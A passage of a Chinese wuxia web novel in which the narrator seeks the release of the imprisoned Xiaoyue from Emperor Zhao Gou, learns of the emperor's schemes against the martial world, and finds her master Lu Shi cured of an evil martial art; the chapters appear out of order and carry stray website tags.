虽然,陆石截杀圆信,这其中有着一个我至今不能解开的秘密,甚至这个秘密就与圆通,与金刚伏魔功有关。但是,我并不能确定。 我拉着夏尔马与我同行,不过是觉得这一路寂寞,想找个人说话罢了。 夜间,风声呼啸。 夏尔马打了一个寒颤,说:“太冷了。” 我问:“天竺冷吗?” 夏尔马说:“天竺不冷,很暖和。” 我叩响陆家山庄的门,咚咚的声音被风裹挟着飘入院子中。不一会儿,一个身穿灰色衣裳的小童将门打开,他顶着圆乎乎的脑袋,揉着惺忪睡眼,声音中满含稚气,问:“先生是谁?深夜前来,有何要事?” 我问:“小月在吗?” 小童挠了挠头,提起手中的灯笼照了照我,又照了照夏尔马,随即抖了一个机灵,扔了手中的灯笼撒腿便跑,边跑便喊:“师父,师父,来个一只黑脸妖精。” 夏尔马尴尬一笑,再次露出白晃晃的牙齿。我无奈地摇头苦笑,只好不请自入,走进了陆家山庄。 刚走进院子不过几步,忽然听见院子深处传来一声凄厉的叫喊。随即见到那名小童满脸是血地跑了回来。 他跑到我跟前时,脚下一个踉跄,扑倒在我脚下,再也没有站起来。 我忙将他扶起。当我接触到他身体的一刻,只觉得如同摸到了一块千古不化的寒冰,肢体僵硬,极寒彻骨。 但那小童却并没有死,他细软的睫眉上凝着一层白霜,口中沁出的血液已经凝固,晶莹发亮。 血水结冰! 我心头一震,如受重击。不知这院子里发生了什么样恐怖的事,竟能将一个活生生的人瞬间冻成一个冰人。 忽然,一道阴冷的空气从院子深处逆风而来。 这秋夜凛凛的风在那道诡异的寒气面前黯然失色。院子深处,阴森的角落里红光一闪,似有一道红色的魅影从哪里飞速闪来。 “摩诃钵特摩!”夏尔马大叫一声,立时双手交叉护住胸口。他快步前移,在那红影飞来之际生生挡在了我的跟前。 “轰!” 一阵猛烈的撞击声。一道阴寒刺骨的冷风从两人撞击之间急速向四周扩散。 地面凝起霜白,枯草之上的露水凝成透亮的冰晶。 那瞬间,我感觉自己陡然坠入了雪谷,四周寒气环绕,身体里所以的温暖已在那一刻骤然消散。 一颗殷红的血冰从夏尔马的嘴角上滑落。 它滴在我手背上,竟然丝毫没有融合。 我的手,仿佛在那一瞬间冻僵了一样,连握拳都觉得皮肤碎裂一般的疼痛。 陆石头发散乱,双目中猩红的光芒闪动。他紧要着牙关,头颅竟不停地颤抖着,似乎是非常痛苦。 我轻声试探:“你,你怎么了?” 陆石的嘴唇已经发紫,他颤巍巍地说:“冷,冷!” 突然,夏尔马仿佛是复苏了一般,双拳紧握,一把抓住陆石的双臂,就在他黝黑的手触摸到陆石手臂的一刻,一层晶莹的白霜在他手背上缓缓蔓延,直到将他那双手覆盖得如雪一样白。 夏尔马并未在意,他双眉紧蹙,口中轻捻佛语,白牙随着他嘴唇启合,如星芒一般忽闪。135中文 ...... 感觉似乎是过了许久。 那股阴冷的空气缓缓消散,秋风又来,原本的秋凉却让我感觉一阵温暖。陆石的表情逐渐松缓了许多,嘴唇上那一抹骇人的紫色也渐渐变得红润了许多。 白霜融尽,升起徐徐白烟,夏尔马的双手又恢复了黝黑。他长舒了一口气,睁开眼睛,眼珠一转又露出洁白的眼球。 “多谢!”陆石如释重负一般,但声音里却仍旧残留着痛苦之后的疲惫。 夏尔马灿然一笑,皓齿之上带着暗红的血丝。他说:“原来,那本书在你这里。” 陆石坚持了一会儿,似乎仍旧没有抵过强烈的疲惫,身子一沉,蹲坐在地上,他伸手摸了摸躺在我臂弯的那名小童,为他擦去嘴角的血渍,自责地说:“是为师的错,都是为师的错。” 那名小童双目紧闭,一动不动,虽说身体已不再那么僵硬,但总也觉得他脊背上还有未全然散去的寒气。我将手凑到他的鼻孔,一股湿热的气流缓缓涌出。 我说:“他还活着。” 陆石的表情上有了一丝欣慰。他与我对视片刻,随即目光游离闪烁,似乎心中有什么秘密害怕被我看破一般。 夏尔马蹲下身子,说:“摩珂钵特摩咒会乱人心智,不能练。” 陆石双目迷离,似有惊魂未定的意味,他说:“什么摩珂钵特摩咒?我没有练过你说的这个东西。” 夏尔马说:“就是婆叶金身功。” 我更正道:“是金刚伏魔功。” 陆石目光一凛,冷冷说道:“我不知道你们在说什么!” 夏尔马有些着急,他解释道:“你练的不是真正的婆叶金身功,而且天竺禁书摩珂钵特摩咒。现在你练功还浅,还可以救。如果再练下去,会疯,会死。” 夏尔马的这番话几乎让我惊恐到窒息。方才发生的一切依旧历历在目,每一个画面都让我心有余悸。如此厉害的武功,他竟然说只不过是练功还浅?! 若一个人练成了这样的武功,那不知会变成什么恐怖的样子。 然而,陆石并没有像我一样。他盘坐在地上,一边调息,一边说:“今日我练功走火入魔,幸亏你二人相助。待陆某身体稍稍好些,定然仔细答谢,今日夜静更深,便不留二位在府上了。” 陆石下了逐客令。夏尔马满脸焦急,还想继续劝解,我抢先说道:“小月在吗?我是专程来找小月的。” “月儿……”陆石目光忧悒而飘忽,让我隐隐感觉不安。 我急忙问:“小月在哪里?她怎么样了?” 陆石叹了一口气,说:“月儿……她在……”他话说了一半,却欲言又止。我心中更急,一把抓住陆石的手臂,他的手臂如玉石一般坚硬而冰凉。 我问:“小月到底在哪里?你快告诉我!” 许久,陆石终于开口,他简单地说了一个地名,却让我陡然之间如受晴天霹雳,瞬时心如死灰。 他说:“大理石监牢!” 3. 马鞭摔打空气,发出“啪啪”的声响,如是岁末寒冬里爆竹炸响。 马蹄声疾,蹄铁不停敲打地面,却急不过我心中之万一。 两个月前,便是在管天下起义之后。双刀门多年来培植的潜藏势力——各地武馆中招揽的外围弟子,积极响应管天下的号召,如同是一夜春风吹过,在福建江西遍地开花。 这样声势浩大的举动,自然引起了朝廷的注意。 当朝丞相秦桧命人严查响应管天下造反的武馆。然而,这些武馆无一例外地指向了一个人——小月的父亲肖迎儒! 当年,小月被陈伯洋重伤之时,我曾与小月的父亲有过一面之缘。 他并不是这个江湖之人。但却做着与这个江湖息息相关的生意。 他在各地兴建的武馆,天下驰名。他所雇佣的武师都是这江湖上鼎鼎有名的高手。 他苦心经营,却不会想到早已被双刀门盯上。管天下派出双刀门的亲信弟子,改头换面,以武师身份潜伏入小月父亲家的武馆。 这些人,明义上是武师,教习武艺,实际上却在暗中敛财,培植势力,招揽亲信,不断为管天下的谋反大业积蓄力量,输送血液。 当管天下在汀泉山上振臂一呼之时,小月父亲经营的武馆几乎半数以上成了反贼的窝点。 秦桧不由分说,一声令下,肖家上下一百七十多口满门被屠。 火一般的鸢尾花红光遍野,不及肖家庭院腥芒寸余。 噩耗传来。身在陆家山庄的小月肝肠寸断,她强忍着悲痛拭去泪水,不顾陆石的反对星夜奔赴临安,刺杀秦桧报仇雪恨。 她那样傲敏的个性,面对如此血海深仇如何能够忍受片刻? 她纵使剑法高绝,一身轻功几乎胜过江湖上许多绝顶高手,却有如何能杀入高手林立的秦府,斩下仇人的首级? 这一去,她定是抱了必死的决心。 这一去,她又可曾想过会与我生死永别? 小月!小月! 我不停地在心里呼喊着她的名字。翠玉的簪子依旧在我胸口安静地等待着它的新主人。 可是……它的主人却早已身陷囹圄,我却依旧在这个江湖上为了那许多可笑的事固执地奔波着,浑然不觉。 临走时,我曾质问陆石,你为何不拦住小月?你为何不去救小月?为何明知她有去无返,还要躲在陆家山庄里修炼这损人不利己的邪功? 我抑制不住自己内心的愤怒,一再质问陆石,小月到底还是不是你的弟子?! 陆石默然无语,虽然他的脸上写满了内疚,但那双如同坚冰一样的双目中,我看到了他不悔的坚持! 我又有什么资格去质问? 那天在岔路口抉择的一刻,我不也是义无反顾地选择了那条与陆家山庄背道而驰的道路吗? 两个月过去了。小月的生死已经成了猜测,然而,我依旧不能放弃。 即便那希望只是无边沧海中渺小的一粟。 4. 临安府,娄琴客栈。 当我现在这个阔别多日的客栈门前时,却并没有看到娄琴熟悉的身影。 幸运的是,那个油光锃亮的木桩依旧稳稳地立在门前,深入泥土。 我将马绳套在木桩上,急匆匆地冲进客栈。 店里的伙计许是与我太久未见,久别重逢的一刻,竟然懵了一下,愣愣地问:“客官……好生眼熟……可是曾经来过?” 我无心与他寒暄,直接问道:“娄姐在哪里?” 店伙计恍然大悟,立时转茫然为喜悦,笑道:“是姬兄弟回来了,瞧我这脑子……” 我厉声打断他,又问:“娄姐在哪?!” 店伙计被我吼声吓到了,他怔在原地,颤巍巍地说:“老板娘进宫去了,还没回来。” 赵构! 我突然想到这个名字,心中一阵喜悦。我曾经帮过他,他欠我一个人情。 如今我决议不在做什么武林盟主了。我要用这个人情,求他释放小月。 如果……小月还活着的话! 她一定会活着的。 我咬牙坚持,不敢再有其他的任何想法。我怕任何想法都会让我耽误一时片刻。 我留下茫然不知的店伙计,转身冲出娄琴客栈,冲着行宫的方向狂奔而去。 第二卷 武林盟的开始与结局 第一百九十五章 皇威 1 临安府,凤凰山东麓,皇宫大内。 平砖砌筑,高约百尺的城墙,将世俗与殿堂彻底隔绝。 宫内盘踞高位的天子朝臣,似乎也被这高墙隔绝了,他们一年四季无休止地从城门中发出一道又一道的令旨,统御天下,却从来不曾体恤民心。 人间的疾苦,苍天有鉴,而宫闱不见。 飞奔的马接近宫门百米之外,戍守宫闱的将士早就严阵以待,如临大敌。长枪直挺着,如同是一排尖锐的长刺,正直直地等候着我这个不知天高地厚向皇城奔袭的人。 “吁!” 离城门三十米,我勒住马绳,翻身下马。 一队士兵上前将我围起来,一人亮剑高呼“何人如此大胆,竟敢擅闯大内。” 我说“我要见皇上!” “放肆!”他几乎是反射一般地向我吼了一句,厉声呵斥,“九五至尊,岂是你这平头百姓说见就见?!快滚!” 不许见,也得见。 为了小月,我可以粉身碎骨,又岂会害怕闯一次皇宫。 “铮!” 九郎剑出鞘,绚丽的宝石在阳光照射下熠熠生辉。 那将士忽然愣住了,他盯着我手中的短剑,如同被雷电击中一般,猛地抖了一个机灵,匐身跪在地上,高声呼道“吾皇万岁,万岁,万万岁!” 一群士兵面面相觑,满脸茫然,却不敢迟疑半分,纷纷跪地地上,对着我纳头齐呼“吾皇万岁,万岁,万万岁。” 即便是做了这么长时间的武林盟主,我也从来没有见过这样的阵势。 一群身披甲胄,高不可攀的皇城侍卫,竟然齐齐地向我磕头,山呼万岁。 我被他们吓得头脑一片空白,惶然不知所措。我说“你,你不必这么客气。” 最先跪在地上的那个将士抬起头来,盯着九郎剑,讷讷地说“见天子佩剑,如圣上亲临。小的不敢造次。”说罢,他才小心翼翼地站了起来,对着九郎剑,满脸恭敬。 “你是说这把剑吗?”我举起九郎剑,问。 一群人还未全站起,见我举起九郎剑,脸色骤变,慌忙又跪在地上。我再收起剑,他们又小心翼翼地站起来,一副惊魂未定的模样。 我一时觉得有趣,将九郎剑反复举起又方向,一群人在我面前跪倒又站起,几次之后,已是疲惫不堪。一名士兵连连求饶“大人,小人有眼不识泰山,还是饶了我们吧。” 我说“带我去找皇上!” 那将士连忙摇头,说“小人不敢。大人还请告知名讳,小人按规矩上报,都统领大人会向圣上请旨。” 我没有 想到,要见一面皇上竟然如此麻烦。我心中挂念小月,却只好拜托那人,说“劳烦你快些。” 2、 临安府大宋行宫,殿堂楼阁,鳞次栉比,红墙金瓦,这是皇家独有的威严。 通禀的太监急匆匆地从深宫内跑来,告诉守门的将士,圣上有旨,传姬旦丙勤政殿侯旨。 太监在前引路,士兵在后跟随,一直将我送到勤政殿外。 那粉面尖声的太监冷漠地对我说“你在这里等着。”说罢,他碎步走进殿中。 “禀皇上,姬旦丙在殿外侯旨。” “传他进来。” 不一会儿,那太监又捏着碎步走了出来,对我说“进去吧。” 临进门时,他忽然伸手将我拦了下来。我问“还有什么事?” 他掂了掂手掌,说“把兵刃留下。” 这人着实让我厌恶,我一把将他推开,阔步走了进去。他急忙跟上,尖声吼着“大胆狂徒,竟敢带凶器见驾。来人,快来人啊!” 他追上我时,我已经站到了赵构的跟前。他提笔伏案,不知是写着什么,见我闯进了,不由地抬头一怔。 桌案旁,一个风姿绰约的身影款款而立,一身红艳的长裙无风而摆。她冲我莞尔一笑,似水一般柔和,那是曾经让我一度思念依靠的娄琴,如今她已陪王伴驾,成了皇上的女人。 不,是我错了。她一直都是皇上的女人。 赵构冲着那太监一摆手,说“下去吧。” 太监稍有迟疑,却不敢违背赵构的旨意,连忙点头作揖,缓缓退去。 娄琴快步走到我身边,细长的手抚过我的脸,轻声地说“好像是瘦了许多。只怕吃了不少的苦头吧。” 那一瞬间,强烈的酸涩感从心头一直涌到我的鼻尖儿。她一句话就像是一把柔软的刀,割破了我心里的最后一丝坚强。 泪水几欲夺眶。 赵构轻咳了两声,露出一丝不悦。娄琴扭头瞪了他一眼,他嘿嘿一笑,说“呃方才那汤有些咸了。” 我强忍着内心的苦涩,对娄琴说“我很好。不用担心我。” 娄琴一怔,淡淡一笑,说“长大了。” 我怕我在与娄琴说下去,就真的忍不住要哭出来了。我连忙扭过头去,对着赵构说“皇上!我想求你一件事。” 赵构若无其事地放下笔,他面上云淡风轻,似乎并没有把我当回事。他说“先说来听听。” 我说“我想求你放一个人。她现在应当还在大理寺的监牢中。” “应当?”赵构不屑地一笑,说,“你求 朕之前,应当先把事情弄清楚。” 我说“我来不及去找,我也没有能力去大理寺的监牢。” 赵构说“你告诉朕,你所说的那个人叫什么名字。” 我说“她叫小月。” “小月!”娄琴惊道,“她怎么了?她为什么会在大理寺的监牢之中?” 我说“两个月之前,她刺杀秦桧” “啪!” 我话一出口,赵构浑身一颤,手臂碰到桌案上的镇纸,镇纸跌落在地上,摔成两段。 慌乱转瞬而逝,赵构又重新恢复了镇定,只是他的表情看起来比方才阴沉了许多。他说“你可知刺杀当朝丞相乃是死罪!” 我说“我知道。可是你是皇上!” 赵构表情更加阴沉,他冷冷地说“就因为朕是皇上,就不能容纳反贼。” 我说“她不是反贼,她只是” 赵构从一大摞奏章中抽出一册,缓缓展开,说“肖迎儒暗中资助双刀门,与管天下沆瀣一气,为他培植势力。谋反乃十恶不赦之重罪!” 我急忙解释“他并不知情,小月更不知情。” 娄琴也帮我解释“小月那女子我曾经见过,也颇为熟悉,她心在江湖不在朝野,根本不可能有什么野心。” 赵构蹙起眉看着娄琴,声音却很柔和“你根本就不知道其中的原委,还是不要管了。” 这一句仿佛是激怒了娄琴,她哼了一声,说“我便是非要管不可,你只告诉我,是放还是不放?” 赵构缓缓合上奏章,手一挥,将奏折扔到我的跟前,说“你看看吧。这件事又其实我能做主的?” 娄琴抢在我跟前,把奏折捡了起来,她捧着手心,读了一遍,忽地眉头一皱,似是发现了哪里不对,把奏折翻来覆去找了半晌,问“你未曾批复?” 赵构看了我一眼,犹豫了片刻,还是长叹了一声,说“先斩后奏,又有什么好批复的?” 娄琴的手捶了下去,我莫名感觉一阵凉意。 我看得出,在我眼前的两个人四目相对的瞬间迸发出的皆是深沉的无奈。但我仍旧不肯死心,我跪在地上,像敬拜神灵一样地向赵构磕头,我求他“你放了小月吧,就看着我曾帮你的份上” “住口!”赵构慌乱地起身,他冲我眨了眨眼,说,“朕,朕何时被你帮过。你不要胡言乱语。”说罢,他又向我使了个眼色。 我看了一眼娄琴,心中明亮,更加坚定地大声说“当初在临安城外风竹镇” “朕,朕决定 试一试!”赵构急忙打断我,脸上的慌乱之色更盛。 娄琴眯着眼看着赵构,质问“你心里到底有什么鬼?是不是有什么事瞒着我?” 我冷笑一声。看了娄琴真的就是他胸口的软肋。 赵构嬉笑着走到娄琴跟前,搂住她的肩膀,笑道“我怎么会瞒你呢。我在你面前已毫无保留了。” 娄琴瞥了他一眼,说“懒得问你。”她又转身将我扶了起来,说“小月的事你不要着急,一定会有办法的。” 我重重点头。心中想起小月,又是一阵极深的内疚。但如今除了等,我没有别的办法,我只能期盼着小月能够平安回来,到那时我便带她离开,永远离开这些是非纷扰。 对!远离这些是非纷扰! 我对赵构说“这个武林盟主,我不要了。” “什么?!你再说一遍!”赵构脸上突现愠色,他死死地盯着我,目光如刀,那是一双要杀人的眼睛。我心中一凛,却仍旧笃定地一字一字地说“这个武林盟主,我不要了!” 赵构脸颊抽搐两下,他重重地说“朕不准!” 我心中主意已定,有生以来从未如此坚持。他准与不准,又岂是我在乎的事? 我说“我做不了武林盟主。我已经给这个江湖带来了太多的灾难。” 赵构背过身去,沉吟了片刻,轻声说道“琴儿,你能让我和他单独谈谈吗?” 娄琴眉头一皱,我看得出她脸上的担忧,她嘴刚刚张开,却未发一声又缓缓闭上了。我想问她怎么了?她缓缓摇头,拍了拍我的肩膀,转身走出了勤政殿。 偌大的宫殿里,寂静无声。 我看着赵构的背影,莫名感觉到一阵恐惧。 他是执掌天下的皇上。明黄色的长袍上绣着沧海龙腾的图案,象征着他富有四海,集生杀大权于一身的至高无上的权威。 “你可知道,朕为何要你做这个武林盟主?”赵构声音低沉而有力,给人一种不怒而威的震慑感。 我说“不知道。” 赵构叹了口气,这口气悠长而轻缓,透出帝王的无奈。 他为何无奈? 难道这世间还有他手中权力所不能涉及的角落吗? 他说“这个江湖,从来不在朕的掌控之中。” 我不知如何回答,看着他的背影,我才陡然间发现,我从来不曾了解过这个人。而此刻,他变得与以往我所见过的那个盛气凌人的赵构完全不同。 我静静听他诉说着。 他说“靖康元年,金人包围东京。那时朕受先太上皇之命为天下兵马大元帅,率领河北兵马起兵勤王。浩 浩荡荡十万大军奔赴东京。我率领两千先锋军,未至半途,却接到后方传来的急报,说十万大军跑得只剩下不到两万了。你可懂得朕当时的愤怒与无奈?” 这一问掷地有声,满含愤怒。我缓缓地摇头。他背着身,似乎是看到了我一样,说“你当然不懂。朕不得已移屯大名府,辗转东平府。靖康二年,东京被金人所破。之后的一年里,我为了匡扶大宋江山,不得不依靠江湖人。这些人帮我驱逐了金人,我又在太祖一脉的支持下登上了帝位。但是,那群可恶的江湖人从来不把我放在眼中,他们自恃有功,有的向我要钱,有的向我要官,就连那群和尚也要我册封他们为禅宗正统,还有那个可恶的白景行……” 白景行! 听到这个名字,我心头一颤。因为,我在赵构的咬牙切齿中听到了满满的恨意。 我说“白景行一直要各大门派不与朝廷作对,他,他做得很好。” 赵构猛然转身,目光如炬,说“好?!哪里好?!他仗着自己武功高强,视宫墙为无物,飞檐走壁,来去自如。朕夜间与嫔妃行乐,他就趴在屋顶喝酒,朕却浑然不知……简直,简直是亵渎皇威!” 这倒的确是白景行做得出来的事。 我说“至少他保住了这个江湖,而我却把这个江湖弄得乱七八糟。” 赵构哈哈大笑,说“你做的很好。如果白景行可以像你一样,他就不会死了。” 这话是什么意思? 我即迷惑,又震惊。他言下之意,岂不是说白景行的死并非意外?! 我忽然回想起陆游大婚那夜,白景行的异常举动。难道这一切都是事出有因? 赵构目光一凛,说“不错。是朕要他死的。他将各大门派的联名奏书交给朕的时候,朕就说过,除非这个江湖上没有盟主,否则朝野之外便不可以有江湖。没想到,他竟然自杀了。不过这个结果朕很满意。” 我头脑已经是一片空白。想起白景行死的那一幕,我多年已经一直有一种隐隐的困惑,以他的武功,即便是醉酒,也不至于从屋顶上摔下。即便是摔下来,也不可能会被自己的呕吐物呛死。这实在是有些诡异。 如今,这一切都说得通了。 不知不觉间,我已经攥紧了拳头。我说“是你逼死了白景行!” “可是,你又为什么要我做武林盟主?!”我继续追问。 赵构长叹了一声,说“因为……朕信得过你。” 信得过我?! 他连白景行都不信任,怎么可能信得过我?! 我已不是当面那个懵懂的少年。 我冷笑 一声,说“你不是信得过我。你是觉得可以控制我。所以,你派了柳无风时刻管着我,派了那么多侍卫在武林盟监视我,还有……” 我沉吟了片刻,还是重重地说出了那个名字“苏红袖!” 赵构一怔,闪过一丝杀意,他冷冷地对我说“你是怎么知道的?” 果然!果然如此! 赵构低头笑了起来,他指着我的鼻子,笑道“姬旦丙啊,姬旦丙!朕以为你什么都不懂,朕以为你可以为朕所用,成为朕掌握江湖的有力助手……哈哈……朕真的是小看了你。” 我说“不是助手……是棋子!” 赵构怔了怔,笑得更开心了,他说“不错,不错。但是朕还是很需要你的。你只要答应朕继续做武林盟主,朕会给你想要的一切。” 我说“我什么也不想要。我什么也做不好,我只会把江湖弄得更乱。” 赵构笑道“朕要的就是乱!江湖越乱,朕的心里也就越安稳。他们若是团结一致了,朕就该睡不着觉了。你懂吗?” 我说“可是管天下已经造反了!” 赵构一摆手,说“这些朕早就知道了。所以,才会让高猛故意将消息透漏给你,让你在他们准备充分之前逼他们现身,好将这群人连根拔起。这件事你做得很好!” 高猛! 原来他也是皇家的人。 我心中更苦,开始不住地嘲笑自己,嘲笑自己真是一个傻子,自以为是地筹谋着一切,到最后都不知道自己原来也是别人棋盘上的一颗落子。 就连我一直信任的最好的兄弟,竟然也是与陈伯洋一起,明着帮我,暗地里却只想着怎么将我拉下武林盟主的座位。 这个江湖太复杂了。 我不住地摇头,我说“我要走。我不要了,我什么也不要了。” 赵构目光忽冷,大有威逼的意味,重重地说“你什么也不要了?也包括那个女子!” 小月! 我心头一阵苦涩。我说“我要带小月走,我求你放了小月。” 赵构说“鱼和熊掌,岂能兼而得之?!” “那我只好拼了性命去闯一次大理寺!”我不再求他,他此刻也不再值得我求。我冷冷地盯着他,说“若生不能与所爱的人远遁江湖,那我就同她到黄泉路上寻一处安宁!” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百六十二章 深邃 1. 娄琴客栈。 拂晓,娄琴用脚轻轻磕了一下客栈门口锃光发亮的木桩,机栝声一响,木桩之上弹射出一把青光潋滟的长剑。 一青一红,在娄琴的手中交相互相着。 “青光血芒,一世剑狂,江湖人都说他是杀人不眨眼的魔头,但谁又懂得他残忍背后的一往情深?” 娄琴莫名其妙地感慨着。小月已经惊得目瞪口呆。 “这两把剑......”小月轻声说道,“难道真的就是当年剑狂前辈的配剑吗?” 娄琴点了点,怅然说道:“这两把剑已经分开了太多年了,如今它们终于又重逢了。只是物是人非,当年的剑狂却已不知生死。” 我好奇地问:“剑狂是谁?怎么从来没有听说过这个名字?” 娄琴看着我,看了我许久,看得我浑身不自在了,她才说:“剑狂......那曾经是江湖上最令人闻风丧胆的绰号。从来没有人知道他的门派出身,也不知道他身在何处,只知道他身上背着两把宝剑,一青一红,出现在哪里,哪里便要有一场血光之灾。他自称剑狂,却有人叫他剑魔。” 我说:“那岂不是比白景行还要厉害的人物?” 娄琴淡淡一笑,说:“当年他们两个人却是约定了一场比试,只可惜,却因为一个小女孩而错失唯一的机会。” 小月轻声试问:“姐姐,那所说的小女孩便是你自己吗?” 娄琴一怔,笑道:“月儿,你真是聪明。不错,当年他们便是为了救我而错过了他们一生之中唯一一次一决高下的机会。从那之后,剑狂便在江湖上消失了,没有人知道他去了哪里。白前辈曾经带我寻遍了整个江湖,都没有找到他。” 我说:“这么厉害的人物,我想知道他叫什么?” 娄琴看着我,看起来十分犹豫,剑狂的名字她终究没有告诉我,而是说:“这两把剑我送给你。” 送给我?! 还未等我反应过来,娄琴已经将两把剑递到了我面前。青光潋滟,如碧绿的湖水一般轻柔,红影流动,像是侵染了鲜血一样。 我接过两把沉甸甸的宝剑,只觉得它们似乎有千钧一般。我不明白,为什么娄琴会突然将这两把绝世无双的宝剑送给我。 我说:“为什么要给我?” 娄琴没有回答。她说:“世人都说,青光血芒,一正一邪。因为当年剑狂前辈杀人的时候只用血芒。但是,这两把剑却是用同一块铁石锻造,出自同一人之手。剑没有正邪之分,区分正邪的从来都是人心。” 我不明白娄琴为什么会突然对我说这些。我还想问个清楚,但娄琴已经转过了身去,她说:“你们快走吧,天亮之前,离开临安府,走得越远越好。” 迷惑未解,我感到一阵强烈的不安。总觉得这里面还有许多许多的缘由,娄琴没有想我说清楚。但是,小月并没有让我继续问下去。她拦住我,缓缓地摇了摇头,对着娄琴的背影说:“姐姐,再生之恩,没齿难忘。若此生再见,我们定要把酒尽欢。” 娄琴说:“快走吧。” 2. 出临安府,我和小月一路奔向了陆家山庄。 小月说,既然决定远离江湖,那么便要无牵无挂的离开。 她父母家人已被杀尽,陆石是她在这世上最后牵挂的人。她想在离开之前,到陆石那里叩首答谢他多年的教导培育之恩。 这一路上,我向小月说了有关金刚伏魔功的一切。也想她说了当夜我和夏尔马到陆家山庄之时的所见。 小月的眉间漫上重重的忧悒。她说:“师父为了金刚伏魔功险些被人利用,最后得到的竟然是这样一部邪门武功。” 我问小月:“你师父怎么会被人利用?” 小月说:“师父因力主抗金,被朝廷罢官免职,自此之后心中郁结难以消退。他虽然在朝野之外,但对朝廷屈辱求和一直耿耿于怀。一次,他联络江湖上的几个朋友,决心杀身成仁,前往金都刺杀完颜兀术,却在那里偷听到一件惊天的大阴谋......” 原来,陆石所听到的正是圆信、圆智与完颜兀术的密谈。他们听说,当年少林寺弃徒圆通找到了失落百年的金刚伏魔功秘籍。他们便想要以金刚伏魔功为交换条件,来换取大金国扶持少林寺的重建。 金刚伏魔功。 那时的陆石第一次听到这个名字,就觉得莫名的震颤。会是什么样的武功,能让驰骋天下不可一世的完颜兀术心动? 为了解开这个疑惑。陆石并没有按照原定计划动手,他悄然跟踪了圆信,通过圆信与圆智的交谈,他了解婆叶金身功,也就是金刚伏魔功的厉害。 谁练就了金刚伏魔功。谁将会成为这个江湖上最厉害的人。 那一刻,陆石动心了。他看着手里的剑,不停地问自己。即便是杀了完颜兀术就能怎样? 难道完颜兀术的一条命就能阻挡大金的铁骑吗?难道就能洗血大宋的耻辱吗?难道就能完成自己驱逐金人,收复失地的抱负吗? 那时的朝廷已被投降派掌控,主战派被打压迫害,朝廷已经没了他的容身之地。 他只能放眼于江湖,寄希望于这个江湖。他要成为武林的至尊,拥有振臂一呼,统御江湖的力量。 到那时,他便可以带领整个江湖,代替孱弱无能的朝廷,挥师北上,驱逐金兵,洗血家国仇恨。 也就在那时。他认识了隐瞒身份,混入临安的丐帮帮主马小六。 只可惜陆石并不知道马小六的真实身份。他只感觉自己与这个草莽帮主一见如故,志同道合。马小六利用丐帮弟子行遍八方,耳通天下的能力,为陆石提供情报。 绍兴十二年,某日。陆石得到马小六的情报,说圆信正赶往临安禅慧寺,面见圆通,索取金刚伏魔功。 陆石大喜,以为天赐良机。于是黑衣蒙面,截杀圆信想要将金刚伏魔功劫下,据为己有。如此,既能替大宋铲除通奸金人的圆信,也能阻止金刚伏魔功落于完颜兀术之手。 他觉得此行无愧于天地。但却不知这一切尽在马小六的掌控之中。 他更不会想到,那日会突然被我撞见,也没有料到圆通根本没有将金刚伏魔功交给圆信。 一剑封喉。 那陆家剑法里最为厉害的一招,却也是极其损耗内力的一招。陆石勉力杀死了圆信,却已气力耗尽,圆通赶到只是,他只能弃手离去。 小月讲到这里,我仍旧不能明白。我问:“既然你师父没有拿到金刚伏魔功,那金刚伏魔功是怎么到了他的手里?” 小月说:“我本来不知道马小六与我师父之间的事情,但我曾经听你给我讲过丐帮马小六的事情。直到你说起那封师父的亲笔手书,我才想起,每次为我师父提供消息的人,都是一些衣衫褴褛,蓬头垢面的人。将这一切联系起来,我才想到师父可能已经落入了金人的圈套。所以赶忙回去告知。但是,当我回到陆家山庄的时候,却看到了一个和尚……” “和尚?”我问,“什么和尚?” 小月说:“他自称出身少林,法号圆通。” 我心里一颤,惊道:“圆通?!圆通去了陆家山庄?!” 那时,我更惊讶的是,失踪了许久的圆通,我曾一度以为他已经死了,如今却听到他还活着。 小月说:“圆通找我师父询问当年他截杀圆信的曲折原委,并把一本金刚伏魔功交给了我师父。” 我问:“圆通为什么要把那本书交给你师父?” “这个……我不知道了。”小月说,“当时师父有意将我支走,不让我听见他们的对话。” 看来……这一切的谜底还需要陆石亲自为我解开。 3. 我和小月进去陆家山庄的时候,陆石正在庭院之中盘坐。长沙 他双目紧闭,表情舒缓,似乎是十分享受。 夏尔马蹲在陆石面前,歪着头,一双白眼珠直勾勾地盯着陆石,就像是充满奇思妙想的孩子,正在倾心研究着什么新鲜的事物。 他们二人十分投入。我和小月已走到了他们身旁,不知他们是过于投入浑然没有发觉,还是因为正专注于什么无心理会我们。 我问夏尔马:“你们在做什么?” 夏尔马没有反应。 小月对陆石说:“师父,弟子回来了。” 陆石“嗯”了一声,也没有睁开眼。 陆家的小童提着香炉走来,他步伐矫健,充盈有力,显然已经痊愈。他看到小月登时大喜,想要开口,却突然看到静坐的陆石,立刻做了一个噤声的手势,将香炉摆在陆石面前,看着小月,不舍地离开。 一道白烟从香炉上徐徐升起,散出阵阵檀香。 夏尔马坐在陆石对面,说:“我们开始吧。”陆石点了点头。随即,两人缓缓吐纳,双手慢慢举过头顶,然后开始作出各种各样匪夷所思的动作。 时而双手撑地,单腿抬起。时而又坐在地上,两腿伸直,双手去够自己的脚尖儿…… 我和小月看得目瞪口呆,对视一眼,皆是一片迷茫。 过了许久,两人又盘坐在地上,缓缓吐纳。稍时,夏尔马说:“很好,这套瑜伽功夫,你只要每日坚持练习,定然可以气息调节、筋骨舒展、安气宁神,回归到最原始自然的状态去重新认识自己的身体和心灵。” 陆石慢慢睁开眼睛,脸上微微带笑,丝毫不见那日骇人的狰狞,反而给人一种大彻大悟,胸含万物的感觉。他对着夏尔马微微点头,说道:“大师果然法力高强,不过几日的调节,我体内的寒气已去了七八成,如今不仅觉得内力充盈,而且心旷神怡,精神矍铄啊!” 夏尔马嘿嘿一笑,露出白牙,说:“你修炼不深,好救。” 陆石这才站起来,拉住小月,关切地问:“月儿,你还好吧?” 小月笑道:“多谢师父关怀,我很好。” 陆石满脸歉疚,说:“为师痴迷于虚妄之事,竟然置你于危难而不顾。实在是枉为人师,这些日子多亏了夏尔马大师的指点,我才大彻大悟,痛悔当初啊。幸好你能平安回来,不然为师真是万死难辞啊……”他轻轻拍着小月的肩膀,笑着说:“来,让为师看看瘦了没有……好像是胖了……” 陆石神情突变。方才的安定与祥和全然不见,大声骂道:“是哪个畜生的?!” 小月没有回答,只是看了我一眼。陆石“啊”地一声大叫,骂道:“你,你竟敢玷污我徒儿清白,老夫,老夫这就杀了你!” 